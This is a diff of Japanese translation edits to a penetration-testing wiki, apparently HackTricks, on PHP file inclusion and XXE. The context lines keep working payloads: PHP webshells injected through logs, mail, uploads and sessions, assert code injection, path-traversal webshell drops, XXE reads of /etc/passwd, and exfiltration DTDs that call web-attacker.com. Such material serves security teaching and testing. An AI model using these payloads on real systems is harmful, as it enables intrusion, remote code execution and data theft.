- `string.strip_tags`: データからタグを削除します("<" と ">" の間のすべて)
|
||||
- このフィルターは、現代のPHPバージョンからは消えています
|
||||
- このフィルターは、現代のPHPバージョンからは消えていることに注意してください
|
||||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
- `convert.base64-encode`
|
||||
- `convert.base64-decode`
|
||||
@ -232,7 +232,7 @@ PHPフィルターは、データが読み込まれる前または書き込ま
|
||||
> `convert.iconv.*` 変換フィルターを悪用することで、**任意のテキストを生成**することができ、任意のテキストを記述したり、includeプロセスを任意のテキストで実行するために役立つ可能性があります。詳細については、[**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)を確認してください。
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: コンテンツを圧縮します(多くの情報を外部に出す場合に便利)
|
||||
- `zlib.deflate`: コンテンツを圧縮します(多くの情報を抽出する場合に便利)
|
||||
- `zlib.inflate`: データを解凍します
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : 非推奨
|
||||
@ -280,14 +280,14 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
- コーデック **`UCS-4LE`** を使用してテキストの先頭に先行文字を残し、文字列のサイズを指数関数的に増加させます。
|
||||
- これは、**初めの文字が正しく推測されたときに非常に大きなテキストを生成するために使用され**、phpが**エラー**をトリガーします。
|
||||
- **dechunk**フィルタは、**最初の文字が16進数でない場合はすべてを削除**するため、最初の文字が16進数かどうかを知ることができます。
|
||||
- これに加えて前述のもの(および推測された文字に応じた他のフィルタ)を組み合わせることで、テキストの最初の文字を推測することができ、十分な変換を行うことでそれが16進数文字でなくなることがわかります。なぜなら、16進数であればdechunkはそれを削除せず、初期の爆弾がphpエラーを引き起こすからです。
|
||||
- コーデック **convert.iconv.UNICODE.CP930** は、すべての文字を次の文字に変換します(このコーデックの後:a -> b)。これにより、最初の文字が例えば`a`であるかどうかを発見することができます。なぜなら、このコーデックを6回適用するとa->b->c->d->e->f->gとなり、その文字はもはや16進数文字ではなくなるため、dechunkはそれを削除せず、phpエラーが初期の爆弾と掛け算されてトリガーされるからです。
|
||||
- これに加えて前述のもの(および推測された文字に応じた他のフィルタ)を組み合わせることで、テキストの最初の文字を推測することができ、十分な変換を行うことでそれが16進数文字でなくなるのを確認できます。なぜなら、16進数であればdechunkはそれを削除せず、初期の爆弾がphpエラーを引き起こすからです。
|
||||
- コーデック **convert.iconv.UNICODE.CP930** は、すべての文字を次の文字に変換します(このコーデックの後:a -> b)。これにより、最初の文字が`a`であるかどうかを発見することができます。なぜなら、このコーデックを6回適用するとa->b->c->d->e->f->gとなり、その文字はもはや16進数文字ではなくなるため、dechunkはそれを削除せず、phpエラーが初期の爆弾と掛け算されてトリガーされるからです。
|
||||
- **rot13**のような他の変換を最初に使用することで、n、o、p、q、rなどの他の文字を漏洩させることが可能です(他のコーデックを使用して他の文字を16進数範囲に移動させることができます)。
|
||||
- 最初の文字が数字の場合、それをbase64エンコードし、最初の2文字を漏洩させて数字を漏洩させる必要があります。
|
||||
- 最初の文字が数字の場合、それをbase64エンコードし、数字を漏洩させるために最初の2文字を漏洩させる必要があります。
|
||||
- 最後の問題は、**最初の文字以上のものを漏洩させる方法**です。**convert.iconv.UTF16.UTF-16BE、convert.iconv.UCS-4.UCS-4LE、convert.iconv.UCS-4.UCS-4LE**のような順序メモリフィルタを使用することで、文字の順序を変更し、テキストの最初の位置に他の文字を取得することが可能です。
|
||||
- さらに**データを取得する**ためのアイデアは、**最初に2バイトのジャンクデータを生成**し、**convert.iconv.UTF16.UTF16**を適用し、**UCS-4LE**を使用して**次の2バイトとピボットさせ**、**ジャンクデータまでデータを削除**することです(これにより初期テキストの最初の2バイトが削除されます)。これを繰り返して、漏洩させたいビットに到達するまで続けます。
|
||||
|
||||
この記事では、この操作を自動的に実行するツールも漏洩しました:[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。
|
||||
この記事では、これを自動的に実行するツールも漏洩されました:[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。
|
||||
|
||||
### php://fd
|
||||
|
||||
@ -356,11 +356,11 @@ $phar->stopBuffering();
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
実行時に、`test.phar`というファイルが作成され、これを利用してローカルファイルインクルージョン(LFI)脆弱性を悪用する可能性があります。
|
||||
実行時に `test.phar` というファイルが作成され、これを利用してローカルファイルインクルージョン (LFI) 脆弱性を悪用する可能性があります。
|
||||
|
||||
LFIがPHPコードを実行せずにファイルを読み取るだけの場合、`file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()`、または`filesize()`などの関数を通じて、デシリアライズ脆弱性の悪用を試みることができます。この脆弱性は、`phar`プロトコルを使用してファイルを読み取ることに関連しています。
|
||||
LFI が PHP コードを実行せずにファイルを読み取るだけの場合、`file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()`、または `filesize()` などの関数を通じて、デシリアライズ脆弱性の悪用を試みることができます。この脆弱性は、`phar` プロトコルを使用してファイルを読み取ることに関連しています。
|
||||
|
||||
`.phar`ファイルの文脈におけるデシリアライズ脆弱性の悪用についての詳細な理解は、以下のリンクされた文書を参照してください:
|
||||
`.phar` ファイルのコンテキストにおけるデシリアライズ脆弱性の悪用についての詳細な理解は、以下のリンクされた文書を参照してください:
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
@ -370,9 +370,9 @@ phar-deserialization.md
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
**phpフィルタをサポートする任意のファイルをPHPから読み取ることを悪用してRCEを得ることが可能でした。** 詳細な説明は[**この投稿で見つけることができます**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**。**\
|
||||
非常に簡単な要約:PHPヒープ内の**3バイトオーバーフロー**を悪用して、特定のサイズのフリーチャンクのチェーンを**変更することができ、任意のアドレスに**書き込むことができるようにし、**`system`**を呼び出すためのフックが追加されました。\
|
||||
特定のサイズのチャンクを割り当てることが、他のPHPフィルタを悪用して可能でした。
|
||||
**php フィルターをサポートする任意のファイルを PHP から読み取ることを悪用して RCE を得ることが可能でした。** 詳細な説明は [**この投稿で見つけることができます**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**。**\
|
||||
非常に簡単な要約:PHP ヒープの **3 バイトオーバーフロー** を悪用して、特定のサイズのフリーチャンクのチェーンを **変更する** ことができ、**任意のアドレスに何でも書き込む** ことができるようになり、**`system`** を呼び出すためのフックが追加されました。\
|
||||
特定のサイズのチャンクを割り当てることが、他の PHP フィルターを悪用して可能でした。
|
||||
|
||||
### さらなるプロトコル
|
||||
|
||||
@ -380,22 +380,22 @@ phar-deserialization.md
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリまたは一時ファイルに書き込む(ファイルインクルージョン攻撃でどのように役立つかは不明)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — ローカルファイルシステムへのアクセス
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(S) URLへのアクセス
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(S) URLへのアクセス
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(S) URL へのアクセス
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(S) URL へのアクセス
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 圧縮ストリーム
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — パターンに一致するパス名を見つける(何も印刷可能なものを返さないので、ここではあまり役に立たない)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — セキュアシェル2
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — セキュアシェル 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — オーディオストリーム(任意のファイルを読むには役に立たない)
|
||||
|
||||
## PHPの'assert'によるLFI
|
||||
## PHP の 'assert' を介した LFI
|
||||
|
||||
PHPにおけるローカルファイルインクルージョン(LFI)のリスクは、文字列内でコードを実行できる'assert'関数を扱う際に特に高くなります。これは、".."のようなディレクトリトラバーサル文字を含む入力がチェックされているが、適切にサニタイズされていない場合に特に問題です。
|
||||
PHP におけるローカルファイルインクルージョン (LFI) リスクは、文字列内でコードを実行できる 'assert' 関数を扱う際に特に高くなります。これは、".." のようなディレクトリトラバーサル文字を含む入力がチェックされているが、適切にサニタイズされていない場合に特に問題です。
|
||||
|
||||
例えば、PHPコードは次のようにディレクトリトラバーサルを防ぐように設計されることがあります:
|
||||
例えば、PHP コードは次のようにディレクトリトラバーサルを防ぐように設計されることがあります:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
この対策はトラバーサルを防ぐことを目的としていますが、意図せずコードインジェクションのベクターを作成します。ファイルの内容を読み取るためにこれを悪用するには、攻撃者は次のような手法を使用できます:
|
||||
この対策はトラバーサルを防ぐことを目的としていますが、意図せずコードインジェクションのベクターを作成します。ファイルの内容を読み取るためにこれを悪用するには、攻撃者は次のような手法を使用できます:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
@ -405,37 +405,37 @@ assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
重要なのは、**これらのペイロードをURLエンコードすること**です。
|
||||
|
||||
## PHP ブラインドパス・トラバーサル
|
||||
## PHP ブラインドパス トラバーサル
|
||||
|
||||
> [!WARNING]
|
||||
> この技術は、**ファイルパス**を**制御**する**PHP関数**が**ファイルにアクセス**する場合に関連していますが、ファイルの内容は表示されません(**`file()`**への単純な呼び出しのように)が、内容は表示されません。
|
||||
|
||||
[**この素晴らしい投稿**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)では、ブラインドパス・トラバーサルがPHPフィルターを介して**エラーオラクルを通じてファイルの内容を抽出する**方法が説明されています。
|
||||
[**この素晴らしい投稿**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)では、ブラインドパス トラバーサルがPHPフィルターを介して**エラーオラクルを介してファイルの内容を抽出する**方法が説明されています。
|
||||
|
||||
要約すると、この技術は**"UCS-4LE"エンコーディング**を使用して、ファイルの内容を非常に**大きく**し、ファイルを開く**PHP関数**が**エラー**を引き起こすようにします。
|
||||
|
||||
次に、最初の文字を漏洩させるためにフィルター**`dechunk`**が使用され、**base64**や**rot13**などの他のフィルターと共に使用され、最終的にフィルター**convert.iconv.UCS-4.UCS-4LE**と**convert.iconv.UTF16.UTF-16BE**が使用されて**他の文字を最初に配置して漏洩させます**。
|
||||
|
||||
**脆弱である可能性のある関数**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (これを使用して読み取り専用のターゲットのみ)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
**脆弱である可能性のある関数**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (これを使用してターゲットを読み取り専用にする場合のみ)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
技術的な詳細については、前述の投稿を確認してください!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
### パス・トラバーサルによる任意のファイル書き込み(WebシェルRCE)
|
||||
### パス トラバーサルによる任意のファイル書き込み (Webshell RCE)
|
||||
|
||||
サーバー側のコードがファイルを取り込む/アップロードする際に、ユーザー制御のデータ(例:ファイル名やURL)を使用して宛先パスを構築し、正規化や検証を行わない場合、`..`セグメントや絶対パスが意図したディレクトリを脱出し、任意のファイル書き込みを引き起こす可能性があります。ペイロードをWebに公開されたディレクトリに配置できる場合、通常はWebシェルをドロップすることで認証なしのRCEを得ることができます。
|
||||
|
||||
典型的な悪用のワークフロー:
|
||||
- パス/ファイル名を受け入れ、ディスクに内容を書き込むエンドポイントまたはバックグラウンドワーカーで書き込みプリミティブを特定します(例:メッセージ駆動の取り込み、XML/JSONコマンドハンドラー、ZIP抽出器など)。
|
||||
- Webに公開されたディレクトリを特定します。一般的な例:
|
||||
典型的な悪用のワークフロー:
|
||||
- パス/ファイル名を受け入れ、ディスクにコンテンツを書き込むエンドポイントまたはバックグラウンドワーカーで書き込みプリミティブを特定します(例:メッセージ駆動の取り込み、XML/JSONコマンドハンドラー、ZIP抽出器など)。
|
||||
- Webに公開されたディレクトリを特定します。一般的な例:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → `shell.jsp`をドロップ
|
||||
- IIS: `C:\inetpub\wwwroot\` → `shell.aspx`をドロップ
|
||||
- 意図したストレージディレクトリからWebルートに脱出するトラバーサルパスを作成し、Webシェルの内容を含めます。
|
||||
- ドロップしたペイロードにアクセスし、コマンドを実行します。
|
||||
- 意図したストレージディレクトリからWebルートに脱出するトラバーサルパスを作成し、Webシェルのコンテンツを含めます。
|
||||
- ドロップしたペイロードにブラウズしてコマンドを実行します。
|
||||
|
||||
注意:
|
||||
注意:
|
||||
- 書き込みを行う脆弱なサービスは、非HTTPポート(例:TCP 4004のJMF XMLリスナー)でリッスンしている場合があります。メインのWebポータル(異なるポート)は後でペイロードを提供します。
|
||||
- Javaスタックでは、これらのファイル書き込みは通常、単純な`File`/`Paths`の連結で実装されています。正規化/許可リストの欠如が根本的な欠陥です。
|
||||
|
||||
@ -465,7 +465,7 @@ in.transferTo(out);
|
||||
```
|
||||
このクラスのバグを克服するための強化策:
|
||||
- 正規のパスに解決し、それが許可リストにあるベースディレクトリの子孫であることを強制する。
|
||||
- `..`、絶対ルート、またはドライブレターを含むパスを拒否する。生成されたファイル名を優先する。
|
||||
- `..`、絶対ルート、またはドライブレターを含むパスを拒否する;生成されたファイル名を優先する。
|
||||
- ライターを低特権アカウントとして実行し、書き込みディレクトリを提供されるルートから分離する。
|
||||
|
||||
## リモートファイルインクルージョン
|
||||
@ -474,14 +474,14 @@ in.transferTo(out);
|
||||
|
||||
### Apache/Nginxログファイル経由
|
||||
|
||||
ApacheまたはNginxサーバーが**LFIに脆弱**である場合、インクルード関数内で**`/var/log/apache2/access.log`または`/var/log/nginx/access.log`**にアクセスし、**ユーザーエージェント**または**GETパラメータ**内に**`<?php system($_GET['c']); ?>`**のようなphpシェルを設定し、そのファイルをインクルードしようとすることができます。
|
||||
ApacheまたはNginxサーバーが**LFIに対して脆弱**である場合、インクルード関数内で**`/var/log/apache2/access.log`または`/var/log/nginx/access.log`**にアクセスし、**ユーザーエージェント**または**GETパラメータ**内に**`<?php system($_GET['c']); ?>`**のようなphpシェルを設定し、そのファイルをインクルードしようとすることができます。
|
||||
|
||||
> [!WARNING]
|
||||
> シェルに**シングルクォート**の代わりに**ダブルクォート**を使用すると、ダブルクォートは文字列"_**quote;**_"に変更され、**PHPはそこでエラーをスローし**、**他の何も実行されません**。
|
||||
> シェルに**シングルクォート**の代わりに**ダブルクォート**を使用すると、ダブルクォートは文字列"_**quote;**_"に変更され、**PHPはエラーをスロー**し、**他の何も実行されません**。
|
||||
>
|
||||
> また、**ペイロードを正しく記述する**ことを確認してください。そうしないと、PHPはログファイルを読み込もうとするたびにエラーを出し、二度と機会がありません。
|
||||
|
||||
他のログでもこれを行うことができますが、**注意してください。**ログ内のコードはURLエンコードされている可能性があり、これがシェルを破壊する可能性があります。ヘッダー**認証 "basic"**には、Base64でエンコードされた"user:password"が含まれており、ログ内でデコードされます。PHPShellはこのヘッダー内に挿入することができます。\
|
||||
他のログでもこれを行うことができますが、**注意してください。**ログ内のコードはURLエンコードされている可能性があり、これがシェルを破壊する可能性があります。ヘッダー**認証 "basic"**には、Base64でエンコードされた"user:password"が含まれており、ログ内でデコードされます。PHPShellはこのヘッダー内に挿入できます。\
|
||||
他の可能なログパス:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
@ -498,12 +498,12 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
||||
|
||||
### Via Email
|
||||
|
||||
**内部アカウントにメールを送信** (user@localhost) し、`<?php echo system($_REQUEST["cmd"]); ?>` のようなPHPペイロードを含め、**`/var/mail/<USERNAME>`** または **`/var/spool/mail/<USERNAME>`** のようなパスでユーザーのメールに含めてみてください。
|
||||
**内部アカウント (user@localhost) にメールを送信**し、`<?php echo system($_REQUEST["cmd"]); ?>`のようなPHPペイロードを含め、**`/var/mail/<USERNAME>`**または**`/var/spool/mail/<USERNAME>`**のようなパスでユーザーのメールに含めてみてください。
|
||||
|
||||
### Via /proc/\*/fd/\*
|
||||
|
||||
1. 多くのシェルをアップロードします (例えば: 100)
|
||||
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) を含めます。ここで $PID はプロセスのPID (ブルートフォース可能) で、$FD はファイルディスクリプタ (こちらもブルートフォース可能) です。
|
||||
1. 多くのシェルをアップロードします(例えば:100)
|
||||
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD)を含めます。ここで、$PIDはプロセスのPID(ブルートフォース可能)で、$FDはファイルディスクリプタ(こちらもブルートフォース可能)です。
|
||||
|
||||
### Via /proc/self/environ
|
||||
|
||||
@ -512,7 +512,7 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Via upload
|
||||
### アップロード経由
|
||||
|
||||
ファイルをアップロードできる場合は、その中にシェルペイロードを注入してください(例: `<?php system($_GET['c']); ?>` )。
|
||||
```
|
||||
@ -542,7 +542,7 @@ user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"adm
|
||||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
LFIを使用してPHPセッションファイルを含める
|
||||
LFIを使用してPHPセッションファイルを含めます。
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
@ -559,7 +559,7 @@ FTPサーバーvsftpdのログは_**/var/log/vsftpd.log**_にあります。Loca
|
||||
|
||||
### Via php base64 filter (using base64)
|
||||
|
||||
[こちら](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)の記事に示されているように、PHPのbase64フィルターは非base64を無視します。これを利用してファイル拡張子のチェックをバイパスできます:もし".php"で終わるbase64を提供すると、"."を無視して"php"をbase64に追加します。以下はペイロードの例です:
|
||||
[この](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64)記事に示されているように、PHPのbase64フィルターは非base64を無視します。これを利用してファイル拡張子のチェックをバイパスできます:もし".php"で終わるbase64を提供すると、"."を無視して"php"をbase64に追加します。以下はペイロードの例です:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
@ -591,7 +591,7 @@ lfi2rce-via-nginx-temp-files.md
|
||||
|
||||
### Via PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
**ローカルファイルインクルージョン**を見つけた場合、**セッションがない**場合でも、`session.auto_start`が`Off`であっても、**`PHP_SESSION_UPLOAD_PROGRESS`**を**multipart POST**データに提供すると、PHPは**セッションを有効にします**。これを悪用してRCEを取得できます:
|
||||
**ローカルファイルインクルージョン**を見つけた場合、**セッションがない**場合でも、`session.auto_start`が`Off`であっても、**`PHP_SESSION_UPLOAD_PROGRESS`**を**マルチパートPOST**データに提供すると、PHPは**セッションを有効にします**。これを悪用してRCEを取得できます:
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## XMLの基本
|
||||
|
||||
XMLはデータの保存と輸送のために設計されたマークアップ言語で、記述的に名前付けされたタグを使用する柔軟な構造を特徴としています。HTMLとは異なり、あらかじめ定義されたタグのセットに制限されていません。JSONの台頭に伴い、XMLの重要性は低下していますが、当初はAJAX技術において重要な役割を果たしていました。
|
||||
XMLはデータの保存と輸送のために設計されたマークアップ言語で、記述的に名前付けされたタグを使用できる柔軟な構造を特徴としています。HTMLとは異なり、あらかじめ定義されたタグのセットに制限されていません。XMLの重要性はJSONの台頭とともに低下しましたが、当初はAJAX技術において重要な役割を果たしていました。
|
||||
|
||||
- **エンティティによるデータ表現**: XMLのエンティティは、`<`や`>`のような特殊文字を含むデータの表現を可能にし、これらはXMLのタグシステムとの衝突を避けるために`<`と`>`に対応します。
|
||||
- **XML要素の定義**: XMLは要素の型を定義することを可能にし、要素がどのように構造化され、どのような内容を含むことができるかを概説します。内容の種類から特定の子要素まで幅広く対応しています。
|
||||
- **文書型定義(DTD)**: DTDはXMLにおいて文書の構造と含むことができるデータの型を定義するために重要です。内部、外部、またはその組み合わせとして存在し、文書のフォーマットと検証方法をガイドします。
|
||||
- **エンティティによるデータ表現**: XMLのエンティティは、`<`や`>`のような特殊文字を含むデータの表現を可能にし、これらはそれぞれ`<`と`>`に対応してXMLのタグシステムとの衝突を避けます。
|
||||
- **XML要素の定義**: XMLは要素の型を定義することを許可し、要素がどのように構造化され、どのような内容を含むことができるかを概説します。内容の種類は任意のタイプから特定の子要素までさまざまです。
|
||||
- **文書型定義 (DTD)**: DTDはXMLにおいて文書の構造と含むことができるデータの型を定義するために重要です。内部、外部、またはその組み合わせとして存在し、文書のフォーマットと検証方法をガイドします。
|
||||
- **カスタムおよび外部エンティティ**: XMLは、柔軟なデータ表現のためにDTD内でカスタムエンティティの作成をサポートします。URLで定義された外部エンティティは、特にXML外部エンティティ(XXE)攻撃の文脈においてセキュリティ上の懸念を引き起こします。これは、XMLパーサーが外部データソースを処理する方法を悪用します: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **パラメータエンティティによるXXE検出**: 特に従来の方法がパーサーのセキュリティ対策により失敗する場合、XMLパラメータエンティティを利用してXXE脆弱性を検出できます。これらのエンティティは、DNSルックアップや制御されたドメインへのHTTPリクエストをトリガーするなどのアウトオブバンド検出技術を可能にし、脆弱性を確認します。
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
@ -16,7 +16,7 @@ XMLはデータの保存と輸送のために設計されたマークアップ
|
||||
|
||||
## 主な攻撃
|
||||
|
||||
[**これらの攻撃のほとんどは、素晴らしいPortswiggers XEEラボを使用してテストされました: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
|
||||
[**これらの攻撃のほとんどは、素晴らしいPortswiggerのXEEラボを使用してテストされました: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
|
||||
|
||||
### 新しいエンティティテスト
|
||||
|
||||
@ -43,7 +43,7 @@ XMLはデータの保存と輸送のために設計されたマークアップ
|
||||
```
|
||||
.png>)
|
||||
|
||||
この2番目のケースは、ウェブサーバーがPHPを使用している場合にファイルを抽出するのに役立ちます(Portswiggerのラボではない)。
|
||||
この2番目のケースは、ウェブサーバーがPHPを使用している場合にファイルを抽出するのに役立ちます(Portswiggerのラボではない場合)。
|
||||
```xml
|
||||
<!--?xml version="1.0" ?-->
|
||||
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
||||
@ -89,11 +89,11 @@ XXEを使用して、クラウド内のSSRFを悪用することができます
|
||||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
### "Blind" SSRF - データをアウトオブバンドでエクスフィルトレートする
|
||||
### "Blind" SSRF - Exfiltrate data out-of-band
|
||||
|
||||
**この場合、サーバーに悪意のあるペイロードを持つ新しいDTDを読み込ませ、ファイルの内容をHTTPリクエスト経由で送信させます(複数行のファイルの場合、例えばこの基本サーバーを使用して\_ftp://**\_経由でエクスフィルトレートを試みることができます[**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**)。この説明は**[**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**に基づいています。**
|
||||
**この場合、サーバーに悪意のあるペイロードを含む新しいDTDを読み込ませ、ファイルの内容をHTTPリクエストを介して送信させます(複数行のファイルの場合、例えばこの基本的なサーバーを使用して\_ftp://**\_経由での情報漏洩を試みることができます[**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**)。この説明は** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**に基づいています。**
|
||||
|
||||
与えられた悪意のあるDTDでは、データをエクスフィルトレートするために一連の手順が実行されます:
|
||||
与えられた悪意のあるDTDでは、データを漏洩させるために一連の手順が実行されます:
|
||||
|
||||
### 悪意のあるDTDの例:
|
||||
|
||||
@ -108,7 +108,7 @@ XXEを使用して、クラウド内のSSRFを悪用することができます
|
||||
|
||||
1. **パラメータエンティティの定義:**
|
||||
- XMLパラメータエンティティ`%file`が作成され、`/etc/hostname`ファイルの内容を読み取ります。
|
||||
- 別のXMLパラメータエンティティ`%eval`が定義されます。これは動的に新しいXMLパラメータエンティティ`%exfiltrate`を宣言します。`%exfiltrate`エンティティは、攻撃者のサーバーにHTTPリクエストを行い、URLのクエリ文字列内に`%file`エンティティの内容を渡すように設定されています。
|
||||
- 別のXMLパラメータエンティティ`%eval`が定義されます。これは動的に新しいXMLパラメータエンティティ`%exfiltrate`を宣言します。`%exfiltrate`エンティティは、攻撃者のサーバーにHTTPリクエストを行い、URLのクエリ文字列内で`%file`エンティティの内容を渡すように設定されています。
|
||||
2. **エンティティの実行:**
|
||||
- `%eval`エンティティが利用され、`%exfiltrate`エンティティの動的宣言が実行されます。
|
||||
- 次に`%exfiltrate`エンティティが使用され、指定されたURLにファイルの内容を含むHTTPリクエストがトリガーされます。
|
||||
@ -121,18 +121,18 @@ XXEを使用して、クラウド内のSSRFを悪用することができます
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
このペイロードは、XMLパラメータエンティティ `%xxe` を定義し、それをDTD内に組み込みます。XMLパーサーによって処理されると、このペイロードは攻撃者のサーバーから外部DTDを取得します。パーサーはその後、DTDをインラインで解釈し、悪意のあるDTDに記載された手順を実行し、`/etc/hostname` ファイルを攻撃者のサーバーに流出させます。
|
||||
このペイロードは、XMLパラメータエンティティ`%xxe`を定義し、それをDTD内に組み込みます。XMLパーサーによって処理されると、このペイロードは攻撃者のサーバーから外部DTDを取得します。パーサーはその後、DTDをインラインで解釈し、悪意のあるDTDに記載された手順を実行し、`/etc/hostname`ファイルを攻撃者のサーバーに流出させます。
|
||||
|
||||
### エラーベース(外部DTD)
|
||||
|
||||
**この場合、サーバーがファイルの内容をエラーメッセージ内に表示する悪意のあるDTDを読み込むようにします(これはエラーメッセージが見える場合にのみ有効です)。** [**ここからの例。**](https://portswigger.net/web-security/xxe/blind)
|
||||
|
||||
悪意のある外部文書型定義(DTD)を使用して、`/etc/passwd` ファイルの内容を明らかにするXML解析エラーメッセージをトリガーできます。これは以下の手順で実現されます:
|
||||
悪意のある外部文書型定義(DTD)を使用して、`/etc/passwd`ファイルの内容を明らかにするXML解析エラーメッセージをトリガーできます。これは以下の手順で実現されます:
|
||||
|
||||
1. `file` という名前のXMLパラメータエンティティが定義され、`/etc/passwd` ファイルの内容が含まれます。
|
||||
2. `eval` という名前のXMLパラメータエンティティが定義され、別のXMLパラメータエンティティ `error` の動的宣言を組み込みます。この `error` エンティティは評価されると、存在しないファイルを読み込もうとし、その名前として `file` エンティティの内容を組み込みます。
|
||||
3. `eval` エンティティが呼び出され、`error` エンティティの動的宣言が行われます。
|
||||
4. `error` エンティティの呼び出しは、存在しないファイルを読み込もうとし、ファイル名の一部として `/etc/passwd` ファイルの内容を含むエラーメッセージを生成します。
|
||||
1. `file`という名前のXMLパラメータエンティティが定義され、`/etc/passwd`ファイルの内容が含まれます。
|
||||
2. `eval`という名前のXMLパラメータエンティティが定義され、別のXMLパラメータエンティティ`error`の動的宣言を組み込みます。この`error`エンティティは評価されると、存在しないファイルを読み込もうとし、その名前として`file`エンティティの内容を組み込みます。
|
||||
3. `eval`エンティティが呼び出され、`error`エンティティの動的宣言が行われます。
|
||||
4. `error`エンティティの呼び出しは、存在しないファイルを読み込もうとし、ファイル名の一部として`/etc/passwd`ファイルの内容を含むエラーメッセージを生成します。
|
||||
|
||||
悪意のある外部DTDは、以下のXMLで呼び出すことができます:
|
||||
```xml
|
||||
@ -144,15 +144,15 @@ XXEを使用して、クラウド内のSSRFを悪用することができます
|
||||
|
||||
.png>)
|
||||
|
||||
